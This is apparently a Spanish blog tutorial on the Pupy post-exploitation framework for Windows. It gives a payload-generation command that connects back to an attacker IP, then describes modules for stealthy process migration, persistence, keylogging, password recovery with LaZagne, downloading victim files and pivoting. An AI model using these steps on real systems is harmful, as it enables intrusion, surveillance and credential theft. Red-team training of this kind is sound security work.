En la parte 2 sobre el uso de Pupy se hablaba sobre cómo es la gestión de agentes en sistemas Linux, sin embargo para sistemas Windows Pupy también ofrece una amplia variedad de comandos que son muy útiles en post-explotación. En esta entrada se explicarán algunos de ellos, los que en mi opinión son los más interesantes.
En primer lugar, el comando para la generación del agente que luego se debe transferir a la máquina víctima es muy similar en Windows y en Linux, tal como se puede apreciar en la siguiente imagen.
Existen otras opciones de configuración que no se indican en el comando pero que se establecen en el fichero de configuración "pupy.conf.default". Si por ejemplo el servidor de Pupy se encuentra en una máquina diferente a la que se está utilizando para generar el payload o en una IP concreta, se puede utilizar la opción " connect -host <IP> ". Por ejemplo:
pupygen.py -O windows -A x64 -o /tmp/windowsshell.exe connect -host 192.168.1.130:443Comandos disponibles en Pupy a ejecutar contra los agentes conectados.
Con "help" únicamente aparecerán los comandos básicos, pero si se utiliza la opción "help -M" se podrá ver un listado completo de todas las alternativas disponibles de cara a realizar procedimientos de post-explotación en profundidad.
Por otro lado, los comandos ejecutados desde la consola de Pupy afectan a todas las sesiones que se encuentren abiertas, es decir, que se ejecutarán sobre todos los clientes. Para cambiar este comportamiento y especificar que los comandos deben ejecutarse sobre un único zombie o un subconjunto de ellos es necesario utilizar el comando "sessions" con la opción "-i" en donde es posible especificar un listado de identificadores de sesiones separados por coma. Si se indica un único identificador los módulos/comandos se ejecutarán contra ese cliente. Si se especifica una lista de identificadores separados por comas los comandos se ejecutarán contra todos y cada uno de los agentes indicados.
A partir de este momento es posible ejecutar los módulos disponibles en Pupy. A continuación se listan algunos de los más interesantes para Windows.
* shell: Es un comando que funciona en todos los payloads independiente de si es Linux, Windows o Android. En ocasiones resulta conveniente tener una shell directa contra el sistema y ejecutar comandos de todo tipo. En este caso es una shell interactiva.
* mount: Permite listar todas las particiones en el sistema comprometido y los dispositivos que se encuentran montados.
* migrate: Similar al comando migrate del payload Meterpreter en Metasploit Framework. En el caso de Pupy no solamente se encarga de migrar el payload a otro proceso más estable en el sistema sino que además permite crear un proceso nuevo en el caso de que haga falta. Todo esto sin escribir nada en disco para evitar la detección.
* persistence. En todos los payloads disponibles en Pupy se encuentra habilitada la persistencia por defecto. Cuando se ejecuta el módulo sin ningún parámetro simplemente se encarga de habilitar o deshabilitar la persistencia en el sistema comprometido. Cuenta con más opciones de configuración para sistemas Windows que en Linux. En el caso de que el payload sea para Linux solamente se puede utilizar el argumento "-s" para indicar que el mecanismo de persistencia utilizado deberá ser una librería compartida en lugar de un fichero de configuración Systemd. Finalmente, la opción "-remove" permite eliminar cualquier fichero relacionado con el mecanismo de persistencia, realizando una limpieza básica en el sistema comprometido.
* duplicate: Simplemente duplica el payload actual y genera un nuevo proceso con él. Con la opción "-m" intentará impersonalizar el token de usuario actual. Aunque se puede utilizar en sistemas Linux ya que el comando no dará ningún error, en realidad solo tiene sentido (y efecto) en sistemas Windows. Una vez se ejecuta el módulo es normal obtener una nueva sesión.
* tcpdump: Este módulo representa un subconjunto de las funcionalidades disponibles en la herramienta tcpdump. Entre otras cosas, permite la captura pasiva de tráfico utilizando filtros BPF y guardar los resultados en un fichero PCAP.
* users: Permite obtener el listado de usuarios interactivos en el sistema.
* port_scan: Se trata de un escáner de puertos muy básico basado en TCP. Puede ser útil en el caso de que no sea posible subir/instalar Nmap u otra utilidad más potente al sistema comprometido.
* search: Ideal para realizar búsquedas de forma recursiva sobre un directorio. Admite expresiones básicas para buscar ficheros/directorios que coincidan con la cadena especificada.
* download: Descarga uno o varios ficheros del sistema comprometido. Admite expresiones básicas, ficheros que se pueden incluir o excluir del proceso de descarga y también, realizar solamente el cálculo del tamaño de la descarga lo cual es muy útil para hacerse una idea de cuánto se descargaría en el caso de continuar.
* upload: Se trata de un módulo muy simple que se encarga de subir un fichero o directorio a una ruta concreta en la máquina comprometida.
* forward: Permite la creación de un redirector de puertos básico, así como el establecimiento de un servidor proxy SOCKS en el objetivo. Es ideal para llevar a cabo técnicas de pivoting y port-forwarding utilizando el sistema comprometido como pasarela.
* lock_screen: Simplemente se encarga de invocar a la pantalla de bloqueo del sistema operativo.
* memory_exec: Como su nombre indica, se encarga de ejecutar un binario en el sistema operativo, completamente desde memoria.
* tasks: Obtiene información de las tareas que se están ejecutando en segundo plano.
* keylogger: Permite la instalación de un sistema de vigilancia muy sencillo pero potente. Es capaz no solamente de capturar las pulsaciones del teclado en el sistema comprometido, sino que además registra la actividad del usuario y los programas que utiliza.
* lazagne: Se trata de un proyecto que se encuentra integrado en Pupy y que permite la recuperación de contraseñas almacenadas en el sistema comprometido, funciona de una forma similar a Mimikatz.
* rdp: Permite habilitar o deshabilitar el escritorio remoto en sistemas Windows.
* logs: Se encarga de volcar los logs del sistema y separa por categorías, por ejemplo puede enseñar los logs producidos por aplicaciones concretas, eventos de seguridad, aquellos que han sido generados por Powershell, etc.
* psh: Permite la carga o ejecución de scripts e instrucciones en Powershell.
Como se puede apreciar es una herramienta muy completa que tiene cabida en cualquier campaña de Red Team. Espero que tengas la posibilidad de probarla y explores sus funcionalidades.
Un saludo y Happy Hack!
Adastra.